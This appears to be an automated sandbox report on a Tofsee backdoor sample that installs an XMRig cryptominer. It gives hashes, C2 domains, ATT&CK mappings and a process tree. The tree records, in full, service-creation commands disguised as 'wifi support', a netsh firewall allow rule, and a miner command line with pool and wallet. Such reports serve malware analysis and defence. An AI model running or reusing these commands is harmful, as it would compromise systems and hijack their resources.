Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    17-05-2023 01:49

General

  • Target

    02ada88638528eb89e67ce30a88ca8a58efab167c389ffd893641459bc64666f.exe

  • Size

    234KB

  • MD5

    e9de43f24d8b6f5be55ef6971d3d14e5

  • SHA1

    ca701f416d520ed37a6b5103dc8358a53c896410

  • SHA256

    02ada88638528eb89e67ce30a88ca8a58efab167c389ffd893641459bc64666f

  • SHA512

    2ccddd5bda9366a0bd39fa2334ee27f4220816d69569d6d6f064e43ebe5e26c01fa17cfee17197c2e2151501b874ef1d88503a1e4ba40ca36f45e3c062ccdeba

  • SSDEEP

    3072:jVPQzmAd7g0wS/+NvCTrKxdOZIyp+Uq3urvbWUWNiHvv5+kQ54A5W4OCNZ:aBOSearQdN7KoOv8i6Z

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\02ada88638528eb89e67ce30a88ca8a58efab167c389ffd893641459bc64666f.exe
    "C:\Users\Admin\AppData\Local\Temp\02ada88638528eb89e67ce30a88ca8a58efab167c389ffd893641459bc64666f.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:920
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\htlduye\
      2⤵
        PID:1284
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rybwvppj.exe" C:\Windows\SysWOW64\htlduye\
        2⤵
          PID:1476
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create htlduye binPath= "C:\Windows\SysWOW64\htlduye\rybwvppj.exe /d\"C:\Users\Admin\AppData\Local\Temp\02ada88638528eb89e67ce30a88ca8a58efab167c389ffd893641459bc64666f.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2028
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description htlduye "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:576
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start htlduye
          2⤵
          • Launches sc.exe
          PID:1512
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1852
      • C:\Windows\SysWOW64\htlduye\rybwvppj.exe
        C:\Windows\SysWOW64\htlduye\rybwvppj.exe /d"C:\Users\Admin\AppData\Local\Temp\02ada88638528eb89e67ce30a88ca8a58efab167c389ffd893641459bc64666f.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1752
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:604
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe --algo=cn-heavy/xhv -o fastpool.xyz:10162 -u abLocBRHmSKSwfZexhaPDFFpUd1Szsp1RWPZktGDuK2w76S3KYNSLGndi55YtoHoKYbSFMCCWjxzTfwHxZSm7sNLe2rAq4DqbAF.70000 -p x -k
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1480

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\rybwvppj.exe
        Filesize

        11.8MB

        MD5

        118730d025be086e4338b7c1e8f08dce

        SHA1

        8736219cb1dfa4514ad46216283335589277b6f8

        SHA256

        197d9abb7f5ddcc5b77ea1855c17cfb0d6aee38e53e2f828798810381723cb84

        SHA512

        d83c6ff340fb9e001ef2f88c12714965d974a7d1c2adb49ff829cbfd9f519b9384c5916a11bec077e7610bc8eb528778e99a313232cc491786a9037653fc85df

      • C:\Windows\SysWOW64\htlduye\rybwvppj.exe
        Filesize

        11.8MB

        MD5

        118730d025be086e4338b7c1e8f08dce

        SHA1

        8736219cb1dfa4514ad46216283335589277b6f8

        SHA256

        197d9abb7f5ddcc5b77ea1855c17cfb0d6aee38e53e2f828798810381723cb84

        SHA512

        d83c6ff340fb9e001ef2f88c12714965d974a7d1c2adb49ff829cbfd9f519b9384c5916a11bec077e7610bc8eb528778e99a313232cc491786a9037653fc85df

      • memory/604-88-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/604-61-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/604-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
        Filesize

        4KB

      • memory/604-89-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/604-63-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/604-110-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/604-67-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/604-68-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/604-69-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/604-71-0x0000000001AC0000-0x0000000001CCF000-memory.dmp
        Filesize

        2.1MB

      • memory/604-106-0x00000000001A0000-0x00000000001A7000-memory.dmp
        Filesize

        28KB

      • memory/604-75-0x00000000000A0000-0x00000000000A6000-memory.dmp
        Filesize

        24KB

      • memory/604-90-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/604-81-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/604-82-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/604-83-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/604-84-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/604-85-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/604-86-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/604-87-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/604-74-0x0000000001AC0000-0x0000000001CCF000-memory.dmp
        Filesize

        2.1MB

      • memory/604-105-0x0000000005440000-0x000000000584B000-memory.dmp
        Filesize

        4.0MB

      • memory/604-78-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/604-91-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/604-92-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/604-93-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/604-94-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/604-95-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/604-96-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/604-97-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/604-98-0x00000000000C0000-0x00000000000C5000-memory.dmp
        Filesize

        20KB

      • memory/604-101-0x00000000000C0000-0x00000000000C5000-memory.dmp
        Filesize

        20KB

      • memory/604-102-0x0000000005440000-0x000000000584B000-memory.dmp
        Filesize

        4.0MB

      • memory/920-60-0x0000000000400000-0x00000000006B7000-memory.dmp
        Filesize

        2.7MB

      • memory/920-56-0x0000000000220000-0x0000000000233000-memory.dmp
        Filesize

        76KB

      • memory/1480-111-0x00000000001C0000-0x00000000002B1000-memory.dmp
        Filesize

        964KB

      • memory/1480-112-0x00000000001C0000-0x00000000002B1000-memory.dmp
        Filesize

        964KB

      • memory/1480-119-0x00000000001C0000-0x00000000002B1000-memory.dmp
        Filesize

        964KB

      • memory/1480-120-0x00000000001C0000-0x00000000002B1000-memory.dmp
        Filesize

        964KB

      • memory/1480-121-0x00000000001C0000-0x00000000002B1000-memory.dmp
        Filesize

        964KB

      • memory/1480-122-0x00000000001C0000-0x00000000002B1000-memory.dmp
        Filesize

        964KB

      • memory/1480-123-0x00000000001C0000-0x00000000002B1000-memory.dmp
        Filesize

        964KB

      • memory/1480-124-0x00000000001C0000-0x00000000002B1000-memory.dmp
        Filesize

        964KB

      • memory/1752-65-0x0000000000400000-0x00000000006B7000-memory.dmp
        Filesize

        2.7MB